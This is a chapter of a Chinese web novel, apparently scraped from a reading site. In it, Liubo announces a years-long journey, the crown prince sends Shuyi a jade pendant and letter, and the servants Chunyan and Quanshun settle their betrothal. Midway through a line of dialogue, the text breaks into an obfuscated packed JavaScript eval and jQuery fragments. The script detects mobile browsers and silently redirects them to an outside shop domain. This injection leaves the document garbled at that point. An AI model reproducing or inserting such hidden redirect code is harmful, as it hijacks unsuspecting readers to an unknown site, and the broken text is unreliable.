流波往椅背上一靠,双手放在脑后说道:“不知道多久,可能三五个月,也可能三五年。”
几人都惊讶出声:“三五年!”这一瞬间大家脑海里转了太多事。
连一向神色温和的太子都忍不住诧异:“流波,你知道的,我以为你今天靠会试,接着殿试,很快能到我身边来。我需要你在我身边。”
流波依旧一脸笑意,转脸一副欠打的模样:“辜负殿下好意,抱歉……”
太子抬起手:“不用抱歉,等会你随我回宫,我们聊聊吧。”流波点头。
七皇子出声后,只伸手拍拍流波地肩,然后低头喝茶。
公主脸红红地道:“谢三,我只比你小一岁,如果你要过五年才回来,我都十七了,等不了那么久。”等什么,不言而喻。唐玥快速扭头看了她一眼,似乎没想到。
流波却依然一副欠揍的表情:“抱歉了,五公主。这种事靠缘分,我没回来的话,就是没缘分。”
“谢流波!”五公主唰地起身,一脸怒容,愤愤地看着他。可对面的少年看着他笑,还无所谓地看向窗外。五公主气坏了,眼泪夺眶而出,跑向楼梯。书意追上去,带她去自己的休息室。
唐玥专心地剥着瓜子,也不吃,没有说话。
一群人安静了好一会儿。
接着刺啦一声,椅子滑动,太子站了起来:“聚散有时。诸位,孤也没想到今日会是我们所有人唯一一次聚会,都怪流波这小子。好在今日玩的尽兴,吃得开心。散了吧,我要带这小子回宫拷问一番,就先走了。”
太子要走,大家也跟着起身。文竹赶紧去敲小姐那边的门,跟她说了这个消息。
书意开门,牵着五公主出来,五公主仍然不住用手背抹泪。抬头看了一眼流波的身影,哭的更凶了。
文竹正在浑水摸鱼看青春期少女们得躁动八卦,津津有味。突然被拍了一下肩膀,转身看到太子得贴身侍卫,一边的太子正朝她招手。
文竹满脸狐疑地过去,太子笑道:“你叫文竹是吧?听说谢二小姐最倚重你。我有一件事请你帮忙。”
文竹点头,太子便低头,扯下腰间一枚白玉:“这个是我带了好几年的玉佩,想请你转交给你家小姐。”
文竹侧身躲过:“殿下,奴婢不敢随意往小姐面前递东西,要给的话,还请殿下自己送去吧。”
太子万万没想到会在一个小丫头这里受挫,笑道:“怕你家小姐责怪你吗?诺,这里还有一封心,以及我给书意的贺礼。还请你帮忙转交,玉佩顺便给她如何?如果她不要,退给我便是。”
这时马车来了,似乎叫太子。太子便把东西直接塞到文竹怀里,转身去了。文竹手忙脚乱终于抱好了。
此时书意还陪在五公主身边安慰她,其他小姐站在她们边上也在劝。马车来了,太子过来,催着五公主上马车,转身看了书意一眼,接着又拉流波上自己的车。七皇子自己上了车,很快,皇宫三辆马车动了起来。
随着他们的离去,其他公子小姐们也纷纷告辞,各自坐上自家马车。
只是唐玥离开时,又挑起帘子看了看文竹抱在怀里的东西,过了好一会才放下车帘。
大家都走了,书意松一口气,喊着文竹准备一块儿上楼去歇歇。一转头,看到她满怀的东西,吓了一跳:“哪来的?谁给的?”
文竹笑:“诺,这里头还有一封信,小姐拿去看看?”
书意明白过来,这是给她的。于是过去拿信看,边看边走。走到楼梯处,又从跟在后面的文竹怀里拿过那块玉佩,端详了一会儿,紧紧握在手心。礼物盒子她在休息室翻来覆去地看,一直没有拆开。
晚上回到谢府自己院子里,书意还是时不时出神。有时面无表情,有时笑,有时看着天空。文竹忍不住观察她,心里觉得有趣。
临睡时,书意突然说:“你去看看我哥回来了吗?”
等文竹应声出门,她又喊住她:“算了别去了,明天再找他吧。”
第二天文竹早早过去,哪知早晨流波难得地没早起。她只好给守门的小厮留信:“二小姐想三少爷过去一下,等会三少爷醒了,给他说一声啊。”
小厮笑嘻嘻地应了:“肯定带到,文竹姐。”
这天直到下午将近傍晚地时候流波才从外头跟他一群世家公子的朋友们聚会完回来。他赶到书意院子里,和妹妹一起待在书房聊天。文竹和福贵守在外面。
福贵笑嘻嘻地跟她八怪:“还记得昨天我家公子说要云游三五年的时候,五公主和唐玥小姐的表情吗?”
文竹点头,他又说道:“哎,这女孩子就是早熟。我们公子才十三岁呢,就算五年过后,也才十八岁。哪那么快说亲。一般公子哥,他们这种书生,说亲怎么也在十七八岁以后吧,二十四五岁的大有人在,还有人非等过了殿试将近三十才接亲呢!我们公子才十三岁,他又要习武,又要读书,在外面还要加一条赶路,哪有空想这些事啊?”
文竹笑了:“你说你家公子要二十四五、甚至三十岁才结亲?那你呢?”
福贵狐疑地看她一眼,退后两步打量,严肃道:“什么我?你看上我了?”接着喜道:“要是你看上我了,倒也好说。我不用那么老结亲,可以公子一回来就结。你正好现在还小,五年后也才十四。”
文竹转脸不看他:“谁看上你了?美得你!”
这话倒让福贵疑心她害羞,站在原地看她的背影,笑了一会,自言自语道:“这丫头,有时候看也挺好看的。”心里合计一番文竹在二小姐面前的地位,觉得勉强配得上自己。
流波在书意房里待了很久出来,那几样太子给的东西被他拿走了。
文竹进去,书意正在书桌前写写画画。
她倾诉道:“哥哥叫我不要乱收别人的东西。文竹,以后再有人给我送什么,不要收。”
等一会儿又道:“哎,我都十岁了,这种事以后肯定免不了。你还是收吧,收了我再给他退回去。不然直接塞我手里我更尴尬,又不能不出门。”
文竹想起福贵的话,忍不住问她:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721212|139871||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小姐有想过多少岁成亲吗?”
书意看她一眼:“你想成亲?”过一会忍者羞意道,“还没想呢,暂时不想成亲。像这样一个人在家,想吃什么吃什么,想学什么学什么,有空画会画,写写东西。然后外面还有几间铺子,三不时捧、朋友们聚会,多好啊。”
文竹完全同意:“小姐说的是,这样无忧无虑的才好呢。结亲的事,水到自然成嘛。”
书意过了一会又说:“没想到太子殿下会给我送东西。他应该有十五岁,看起来好大了。这么早就想着结婚,肯定等不到我及笄。”说着突然愤愤不平,无意识中把手里一张纸撕得粉碎。
过一会,她又倒在椅子靠背上:“哎,我想那么多做什么。哥哥说得对,嫁到皇家没什么好的,只是表面看着风光,什么自由也没。我还是一心做我的谢二小姐吧。”
文竹不由感叹,这流波公子真挺爱护妹妹的,主动揽下退信物这件事,不知会不会惹怒太子殿下,给他自己带来麻烦?
流波公子的离开对于书意院子里的人没多大影响,只除了一个人,春燕。
春燕十五岁,全顺也十五岁。两人心意相通,这些年全顺的镖师爹也经常跟队来京城看他。双方已经上门相看了,彼此的大人也很满意。原本想着今年过定,明年下聘,这婚事就办好了。现在流波要出门,全顺肯定得跟着的,那婚事怎么办?
文竹不止一次看到春燕偷偷抹泪。去流波那边,都没看到全顺有什么神色不对,这又是女子比男子成熟早一些得原因了。
春燕找到文竹,好一会才说出口道:“竹子,姐姐想请你帮个忙。关于你全顺师兄的。”
开始说话了,她把事情倒豆子一般说出来:
“他要出门了,说是三五年不回,我要怎么办?等还是不等?
“等他,他还没下定呢?我算不得他的未婚妻,等谁去?平白让人笑话。我老子娘也不会答应的。
“不等呢?我认识他这么多年了,心里认准他了,嫁给别人怎么甘心。如果那个别人比他厉害倒也罢了,要是个老的穷的丑的,我这一辈子心里都不能安心。
“竹子,你算是他徒弟,平日也能找他说上话,你就帮姐姐带一句话问他:到底心里有没有我,有的话,临走之前去我家下定,银钱由我来出都行。否则,我跟他恩断义绝。”
话一说完,仿佛满心的不安和凄苦有了发泄地出口。文竹抱抱她,她把头埋在文竹肩膀处放声大哭。
于是文竹又做了一回红娘,一大早练功时又去找全顺,把全顺叫到一边好好复述一遍春燕的话,并不顾对方是自己师父,留话:“你要是做不到春燕姐姐说的,就是人渣,渣男!我再也不当你是我师父!”这话让福贵和流波侧目。
好在全顺不是渣男,他拿出所有的积蓄,大概一百两银子。花十两置办礼物送到春燕家,又把剩下的银子放在春燕手里。总算让春燕放心下来。两人约定好定时通信,全顺回来后成亲。
就这样,各怀心事和梦想,大家来到了少年时代。